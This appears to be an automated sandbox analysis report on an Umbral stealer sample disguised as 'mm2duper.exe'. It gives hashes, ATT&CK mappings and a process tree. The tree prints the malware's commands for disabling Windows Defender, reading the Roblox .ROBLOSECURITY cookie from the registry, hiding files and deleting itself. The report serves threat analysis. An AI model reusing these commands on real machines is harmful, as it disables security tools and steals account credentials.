umbral | 98e7e144b7bc45bd52601d093b1e447cf486bf2e8cd2ba84e8325e2d7b269662

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
29-06-2024 00:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

mm2duper.exe
Size

229KB
MD5

65536dc4bcafc3ee3c1dcf7ed64c12df
SHA1

e1ca248ae2ef47a6b89ad6fb155f4d5ec3674e9c
SHA256

98e7e144b7bc45bd52601d093b1e447cf486bf2e8cd2ba84e8325e2d7b269662
SHA512

25f5043750e42d312b879dcb1b37bc4621790f7402befa21578818c8de6020f1983a984bde79eeaca60b3cd12654fe2dae6e728826e0c4da3794be3519d3bcc2
SSDEEP

6144:OwloZM3fsXtioRkts/cnnK6cMlkCanywvrY8hkijD6yBeb8e1mvpi:PoZ1tlRk83MlkCanywvrY8hkijD6yQiw

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2472-1-0x0000000000F20000-0x0000000000F60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2624	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	mm2duper.exe

Deletes itself 1 IoCs

pid	Process
2124	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1248	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2804	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2472	mm2duper.exe
2624	powershell.exe
2800	powershell.exe
2620	powershell.exe
1580	powershell.exe
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	mm2duper.exe
Token: SeIncreaseQuotaPrivilege	2336	wmic.exe
Token: SeSecurityPrivilege	2336	wmic.exe
Token: SeTakeOwnershipPrivilege	2336	wmic.exe
Token: SeLoadDriverPrivilege	2336	wmic.exe
Token: SeSystemProfilePrivilege	2336	wmic.exe
Token: SeSystemtimePrivilege	2336	wmic.exe
Token: SeProfSingleProcessPrivilege	2336	wmic.exe
Token: SeIncBasePriorityPrivilege	2336	wmic.exe
Token: SeCreatePagefilePrivilege	2336	wmic.exe
Token: SeBackupPrivilege	2336	wmic.exe
Token: SeRestorePrivilege	2336	wmic.exe
Token: SeShutdownPrivilege	2336	wmic.exe
Token: SeDebugPrivilege	2336	wmic.exe
Token: SeSystemEnvironmentPrivilege	2336	wmic.exe
Token: SeRemoteShutdownPrivilege	2336	wmic.exe
Token: SeUndockPrivilege	2336	wmic.exe
Token: SeManageVolumePrivilege	2336	wmic.exe
Token: 33	2336	wmic.exe
Token: 34	2336	wmic.exe
Token: 35	2336	wmic.exe
Token: SeIncreaseQuotaPrivilege	2336	wmic.exe
Token: SeSecurityPrivilege	2336	wmic.exe
Token: SeTakeOwnershipPrivilege	2336	wmic.exe
Token: SeLoadDriverPrivilege	2336	wmic.exe
Token: SeSystemProfilePrivilege	2336	wmic.exe
Token: SeSystemtimePrivilege	2336	wmic.exe
Token: SeProfSingleProcessPrivilege	2336	wmic.exe
Token: SeIncBasePriorityPrivilege	2336	wmic.exe
Token: SeCreatePagefilePrivilege	2336	wmic.exe
Token: SeBackupPrivilege	2336	wmic.exe
Token: SeRestorePrivilege	2336	wmic.exe
Token: SeShutdownPrivilege	2336	wmic.exe
Token: SeDebugPrivilege	2336	wmic.exe
Token: SeSystemEnvironmentPrivilege	2336	wmic.exe
Token: SeRemoteShutdownPrivilege	2336	wmic.exe
Token: SeUndockPrivilege	2336	wmic.exe
Token: SeManageVolumePrivilege	2336	wmic.exe
Token: 33	2336	wmic.exe
Token: 34	2336	wmic.exe
Token: 35	2336	wmic.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeIncreaseQuotaPrivilege	1740	wmic.exe
Token: SeSecurityPrivilege	1740	wmic.exe
Token: SeTakeOwnershipPrivilege	1740	wmic.exe
Token: SeLoadDriverPrivilege	1740	wmic.exe
Token: SeSystemProfilePrivilege	1740	wmic.exe
Token: SeSystemtimePrivilege	1740	wmic.exe
Token: SeProfSingleProcessPrivilege	1740	wmic.exe
Token: SeIncBasePriorityPrivilege	1740	wmic.exe
Token: SeCreatePagefilePrivilege	1740	wmic.exe
Token: SeBackupPrivilege	1740	wmic.exe
Token: SeRestorePrivilege	1740	wmic.exe
Token: SeShutdownPrivilege	1740	wmic.exe
Token: SeDebugPrivilege	1740	wmic.exe
Token: SeSystemEnvironmentPrivilege	1740	wmic.exe
Token: SeRemoteShutdownPrivilege	1740	wmic.exe
Token: SeUndockPrivilege	1740	wmic.exe
Token: SeManageVolumePrivilege	1740	wmic.exe
Token: 33	1740	wmic.exe
Token: 34	1740	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2472 wrote to memory of 2336	2472	mm2duper.exe	28
PID 2472 wrote to memory of 2336	2472	mm2duper.exe	28
PID 2472 wrote to memory of 2336	2472	mm2duper.exe	28
PID 2472 wrote to memory of 2852	2472	mm2duper.exe	31
PID 2472 wrote to memory of 2852	2472	mm2duper.exe	31
PID 2472 wrote to memory of 2852	2472	mm2duper.exe	31
PID 2472 wrote to memory of 2624	2472	mm2duper.exe	33
PID 2472 wrote to memory of 2624	2472	mm2duper.exe	33
PID 2472 wrote to memory of 2624	2472	mm2duper.exe	33
PID 2472 wrote to memory of 2800	2472	mm2duper.exe	35
PID 2472 wrote to memory of 2800	2472	mm2duper.exe	35
PID 2472 wrote to memory of 2800	2472	mm2duper.exe	35
PID 2472 wrote to memory of 2620	2472	mm2duper.exe	37
PID 2472 wrote to memory of 2620	2472	mm2duper.exe	37
PID 2472 wrote to memory of 2620	2472	mm2duper.exe	37
PID 2472 wrote to memory of 1580	2472	mm2duper.exe	39
PID 2472 wrote to memory of 1580	2472	mm2duper.exe	39
PID 2472 wrote to memory of 1580	2472	mm2duper.exe	39
PID 2472 wrote to memory of 1740	2472	mm2duper.exe	41
PID 2472 wrote to memory of 1740	2472	mm2duper.exe	41
PID 2472 wrote to memory of 1740	2472	mm2duper.exe	41
PID 2472 wrote to memory of 308	2472	mm2duper.exe	43
PID 2472 wrote to memory of 308	2472	mm2duper.exe	43
PID 2472 wrote to memory of 308	2472	mm2duper.exe	43
PID 2472 wrote to memory of 1420	2472	mm2duper.exe	45
PID 2472 wrote to memory of 1420	2472	mm2duper.exe	45
PID 2472 wrote to memory of 1420	2472	mm2duper.exe	45
PID 2472 wrote to memory of 1684	2472	mm2duper.exe	47
PID 2472 wrote to memory of 1684	2472	mm2duper.exe	47
PID 2472 wrote to memory of 1684	2472	mm2duper.exe	47
PID 2472 wrote to memory of 1248	2472	mm2duper.exe	49
PID 2472 wrote to memory of 1248	2472	mm2duper.exe	49
PID 2472 wrote to memory of 1248	2472	mm2duper.exe	49
PID 2472 wrote to memory of 2124	2472	mm2duper.exe	51
PID 2472 wrote to memory of 2124	2472	mm2duper.exe	51
PID 2472 wrote to memory of 2124	2472	mm2duper.exe	51
PID 2124 wrote to memory of 2804	2124	cmd.exe	53
PID 2124 wrote to memory of 2804	2124	cmd.exe	53
PID 2124 wrote to memory of 2804	2124	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2852	attrib.exe

C:\Users\Admin\AppData\Local\Temp\mm2duper.exe
"C:\Users\Admin\AppData\Local\Temp\mm2duper.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2472
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2336
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\mm2duper.exe"
  2⤵
  - Views/modifies file attributes
  PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\mm2duper.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1580
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:308
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1684
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1248
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\mm2duper.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a1b1e2ab3680f8bdd050084712576e89

SHA1
5f8d45c53022fad55c9ec20c92064fadf3c8386c

SHA256
c4fca93ea4bbd2a50baddc6352ccc119bcca00dfd0ee5e1ba4a1606e378dce85

SHA512
f12660f4773d94cde6303992db6e343521929466724c6e89d7a6188d9a2b9d2b6750ad4e3c915d2a7c5c3c8f8bb1cf535eee226524e4d9cb1d9786d755de0460

Download Submit
memory/1684-44-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2472-0-0x000007FEF5483000-0x000007FEF5484000-memory.dmp

Filesize
4KB

Download
memory/2472-1-0x0000000000F20000-0x0000000000F60000-memory.dmp

Filesize
256KB

Download
memory/2472-2-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2472-48-0x000007FEF5480000-0x000007FEF5E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2624-7-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2624-8-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2800-14-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2800-15-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download